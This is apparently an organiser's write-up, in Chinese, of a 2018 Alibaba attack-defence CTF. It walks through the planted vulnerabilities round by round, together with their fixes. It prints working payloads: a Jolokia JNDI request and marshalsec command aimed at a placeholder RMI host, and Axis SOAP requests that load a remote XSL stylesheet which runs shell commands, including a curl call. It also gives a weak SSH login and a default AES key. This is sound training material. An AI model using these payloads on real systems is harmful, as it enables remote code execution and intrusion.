WriteUp – 2018中国网络安全技术对抗赛阿里安全攻防对抗赛
原始信息
WriteUp – 2018中国网络安全技术对抗赛阿里安全攻防对抗赛 阿里安全响应中心 2018/09/07
wechat
正文
WriteUp – 2018中国网络安全技术对抗赛阿里安全攻防对抗赛
2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。
恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6万元奖金(税前),f61d战队获得比赛第三名3万元奖金(税前)!
恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元奖金奖金(税前)!
恭喜ChaMd5/f61d/kn0ck战队的队员分别获得最佳攻防个人奖励及1万元奖金(税前)!
(相关的奖金发放和证书邮寄下周将全部完成)
赛后有不少选手希望有本次比赛的WriteUp,所以我们让出题小哥哥写了一个出题者版本供大家参考。阿里出的题,必然是java居多啦。
本次比赛共分三场,第一场php+java,第二场python+java,第三场php+java。
在此放出WriteUp供相关队员参考:
第一场
PHP题目
1.ImageMagic命令注入(CVE-2016–3714)
很经典的漏洞,姿势网上有很多,就不在这里占篇幅了。
Java题目
1.Jolokia JNDI注入CVE-2018-1000130
在web.xml可以看到如下片段,使用了jolokia作为JMX的环境
<servlet>
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<init-param>
<param-name>mimeType</param-name>
<param-value>application/json</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jolokia-agent</servlet-name>
<url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>
漏洞的利用可以参考下
https://xz.aliyun.com/t/2294
这篇文章,不过建议使用rmi协议而不是ldap协议,poc改成下面的,加上现场环境特意没有使用高版本的JDK,这样直接就能用marshalsec的构建好的jndi服务器指向下载的class内容
{
“type”:“read”,
“mbean”:“java.lang:type=Memory”,
“target”:{
“url”:“service:jmx:rmi:///jndi/rmi://123.123.123.123:1099/jmxrmi”
}
}
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://yourserverip:port/#classname 1099
修复方法
把jolokia在web.xml的引用给注释掉,或者升级到最新的版本编译。
2.Json反序列化漏洞
代码位于com.alibaba.sample.petstore.web.store.module.screen.SearchProduct
publicvoidexecute(@Param(“info”)String info,Context context,HttpServletRequest req)throwsException {
if(req.getContentType().contains(“json”)){
JSONObject jo=JSON.parseObject(req.getInputStream(),com.alibaba.fastjson.JSONObject.class);
info=jo.getString(“info”);
}
List<Product>products =productDao.searchProductsByKeywords(info);
context.put(“products”,products);
}
在提交搜索的位置抓包,将ContentType改成application/json即可用json的形式提交搜索,这里使用了低版本的fastjson的包,存在反序列化漏洞能够直接获取服务器权限。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.15</version>
</dependency>
利用姿势可以参考https://github.com/shengqi158/fastjson-remote-code-execute-poc
修复方法
可以更改pom文件使用最新的fastjson并重新编译发布。
3.SQL注入漏洞
在搜索处抓包即可,参数info存在SQL注入,可以获取数据库内的flag。为了贴近真实环境,所有场次每个team所使用的数据库都是只能由这个team的应用服务器连接,即使获取到了数据库的凭据也不能在本地连接。
修复方法
找到对应的sqlmap(不是跑注入的那个)文件petstore/dal/src/main/resources/petstore/dal/sqlmap/Product.xml,将$改成#即可。
4.Java反序列化漏洞
所有Java题目用到的框架经过配置,session信息是存在cookie里的,cookie的内容经过压缩和加密(可选)并序列化后的session对象。可以参考com.alibaba.citrus.service.requestcontext.session.encoder.AbstractSerializationEncoder的encode方法手工对cookie进行加密。
/** 编码。*/
publicString encode(Map<String,Object>attrs,StoreContext storeContext)throwsSessionEncoderException {
ByteArrayOutputStream baos =newByteArrayOutputStream();
// 1. 序列化
// 2. 压缩
Deflater def =newDeflater(Deflater.BEST_COMPRESSION,false);
DeflaterOutputStream dos =newDeflaterOutputStream(baos,def);
try{
serializer.serialize(assertNotNull(attrs,“objectToEncode is null”),dos);
}catch(Exception e){
thrownewSessionEncoderException(“Failed to encode session state”,e);
}finally{
try{
dos.close();
}catch(IOException e){
}
def.end();
}
byte[]plaintext =baos.toByteArray().toByteArray();
// 3. 加密
byte[]cryptotext =encrypt(plaintext);
// 4. base64编码
try{
String encodedValue =newString(Base64.encodeBase64(cryptotext,false),“ISO-8859-1”);
returnURLEncoder.encode(encodedValue,“ISO-8859-1”);
}catch(UnsupportedEncodingException e){
thrownewSessionEncoderException(“Failed to encode session state”,e);
}
}
/** 加密。*/
privatebyte[]encrypt(byte[]plaintext)throwsSessionEncoderException {
if(encrypter !=null){
returnencrypter.encrypt(plaintext);
}
returnplaintext;
}
默认是Hessian协议的序列化方式,但是考虑到这个协议的序列化漏洞利用姿势比较小众,特地在配置文件中修改成了Java的序列化,所以使用com.alibaba.citrus.service.requestcontext.session.serializer.impl.JavaSerializer即可。对应的配置文件内容:
<request-contexts:session forceExpirationPeriod=”14400“>
<stores>
<session-stores:cookie-storeid=”temporaryCookie“>
<cookie name=”tmp“/>
<encoders>
<session-encoders:serialization-encoder>
<session-serializers:java-serializer/>
<!–<session-encrypters:aes-encrypter key=”0123456789abcdef” />–>
</session-encoders:serialization-encoder>
</encoders>
</session-stores:cookie-store>
</stores>
<store-mappings>
<match name=”*“store=”temporaryCookie“/>
</store-mappings>
<interceptors>
<session-interceptors:lifecycle-logger/>
<session-interceptors:attribute-whitelist>
<attribute name=”_csrf_token“/>
<attribute name=”_lang“/>
<attribute name=”petstoreUser“type=”com.alibaba.sample.petstore.web.common.PetstoreUser“/>
<attribute name=”petstoreCart“type=”com.alibaba.sample.petstore.dal.dataobject.Cart“/>
</session-interceptors:attribute-whitelist>
</interceptors>
</request-contexts:session>
本场次没有进行加密,后面对两个场次对cookie对中的内容进行了加密处理,用com.alibaba.citrus.service.requestcontext.session.encrypter.impl.AesEncrypter进行加密即可。
修复方法
配置文件的注释中有设置加密key的方法,把注释去掉随机生成一个长度16的key即可。
场次二
Python题目
1.Flask模板注入漏洞
也是非常经典,在此不再详细介绍。
Java题目
1.XMLDecoder反序列化漏洞
和weblogic的那个漏洞原理一致,位于webservice中。可以通过访问http://ip:80/contest2/services/StoreManagerWebServiceXML?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中xmlstr字段。
修复方法
可以把这个接口删除,在/WEB-INF/server-config.wsdd注释掉即可,不影响其他业务。
2.Json反序列化漏洞黑名单绕过
漏洞点同样位于webservice内,可以通过访问http://ip:80/contest2/services/StoreManagerWebService?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中cartjsonstr字段。
可以参考下面文章的绕过姿势
https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/src/main/java/person/OtherPoC.java
使用的fastjson版本是1.2.42的,同样为了方便漏洞的利用,特意打开了autotype的开关
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//一般都不开
修复方法
可以更改pom文件使用最新的fastjson并重新编译发布。
3.Java反序列化漏洞
可以参考第一场次,默认所有场次的加密key都是0123456789abcdef,
修复方法
可以参考场次一的修复方案。
4.Java JDWP调试端口远程开放
默认的tomcat启动参数是开启了调试的,所以可以通过这个漏洞直接获取主机权限。
利用工具可以参考https://github.com/IOActive/jdwp-shellifier
修复方法
在启动脚本:
catalina.sh jpda start改为catalina.sh start即可
其他题目
SSH弱口令admin:admin123
场次三
PHP题目
Drupal Drupalgeddon2 (CVE-2018-7600)
今年新出的漏洞,比较火,可以参考https://xz.aliyun.com/t/2312
PHP-FPM未授权访问
设置php-fpm服务的时候监听了0.0.0.0,白名单是选手应用服务器所在的网段
可以参考https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Java题目
1.WebService任意部署漏洞
这个漏洞出的不是很好,因为漏洞比较老,可能大部分人都没有见过。
通过访问http://ip:80/contest3/services/AdminService?wsdl通过各种工具解析wsdl文件来获取调用的接口,通过部署任意类为一个webservice方法的形式来执行命令。数据包如下
POST /contest3/services/AdminService HTTP/1.1
Host:127.0.0.1:8080
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip, deflate
Connection:close
SOAPAction:something
Upgrade-Insecure-Requests:1
Content-Type:application/xml
Content-Length:799
<?xml version=”1.0″ encoding=”utf-8″?>
<soapenv:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance“
xmlns:xsd=”http://www.w3.org/2001/XMLSchema“
xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/“>
<soapenv:Body>
<ns1:deployment
xmlns=”http://xml.apache.org/axis/wsdd/“
xmlns:java=”http://xml.apache.org/axis/wsdd/providers/java“
xmlns:ns1=”http://xml.apache.org/axis/wsdd/“>
<ns1:service name=”TestService“provider=”java:RPC“>
<ns1:parameter name=”className“value=”com.sun.org.apache.xalan.internal.xslt.Process“/>
<ns1:parameter name=”allowedMethods“value=”*“/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
会部署一个名为TestService的接口,实现类是com.sun.org.apache.xalan.internal.xslt.Process,其中的_main(String[])方法会在满足特定条件时会去远程加载一个xsl文件造成xslt注入导致命令执行。
POST /contest3/services/TestService HTTP/1.1
Host:127.0.0.1:8080
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip, deflate
Connection:close
SOAPAction:something
Upgrade-Insecure-Requests:1
Content-Type:application/xml
Content-Length:799
<soapenv:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance“xmlns:xsd=”http://www.w3.org/2001/XMLSchema“xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/“xmlns:xslt=”http://xslt.internal.xalan.apache.org.sun.com“xmlns:soapenc=”http://schemas.xmlsoap.org/soap/encoding/“>
<soapenv:Header/>
<soapenv:Body>
<xslt:_main soapenv:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/“>
<argv xsi:type=”xst:ArrayOf_xsd_string“soapenc:arrayType=”xsd:string[]“xmlns:xst=”http://127.0.0.1:8080/contest3/services/TestService“>
<cmd xsi:type=”soapenc:string“>-xsl</cmd>
<cmd xsi:type=”soapenc:string“>http://123.123.123.123/cmd.xsl</cmd>
</argv>
</xslt:_main>
</soapenv:Body>
</soapenv:Envelope>
cmd.xsl如下
<?xml version=”1.0″?>
<xsl:stylesheet exclude-result-prefixes=”java“version=”1.0“
xmlns:bufferedreader=”xalan://java.io.BufferedReader“
xmlns:inputstreamreader=”xalan://java.io.InputStreamReader“
xmlns:java=”http://xml.apache.org/xalan/java“
xmlns:runtime=”xalan://java.lang.Runtime“
xmlns:str=”xalan://java.lang.String“
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform“>
<xsl:variable name=”runtime“select=”runtime:getRuntime()“/>
<xsl:template match=”/“>
<xsl:variable name=”command“>/bin/sh,-c,curl 10.233.66.66 -I</xsl:variable>
<xsl:variable name=”arguments“select=”str:split(str:new($command),‘,‘)“/>
<xsl:value-of select=”runtime:exec($runtime, $arguments)“/>
</xsl:template>
</xsl:stylesheet>
修复方法
在/WEB-INF/server-config.wsdd中将enableRemoteAdmin设置为false
2.未授权访问漏洞
由于对该项目进行了部分的服务化改造,应用不再直接连接数据库获取信息,而是通过连接dubbo服务器的形式以RPC的形式获取。环境特意使用错误的配置将dubbo的接口对外开放,任何人都能够telnet过去执行任意接口,调用方法文档如下:http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html
数据flag放到了这个接口里,不过直接提交会出错,因为还经过了一次aes加密,在业务展示订单信息对应的方法com.alibaba.sample.petstore.web.store.module.screen.OrderList有展示:
publicvoidexecute(Context context)throwsException {
//System.out.println(“call order list”);
List<Order>orders=orderDao.getAllOrders();
for(Order o:orders){
o.setStatus(newString(Aes.decryptString(o.getStatus())));
}
context.put(“orders”,orders);
}
所以找到指定数据后,调用Aes.decryptString(String)方法就可以获得flag了。
修复方法
修改iptables的入站规则,禁止20880端口访问。或者在配置文件中新增dubbo.protocol.host=127.0.0.1
长按扫描关注ASRC,关注后续精彩活动!
↓↓↓↓↓↓↓↓↓↓↓↓↓
Leave a Reply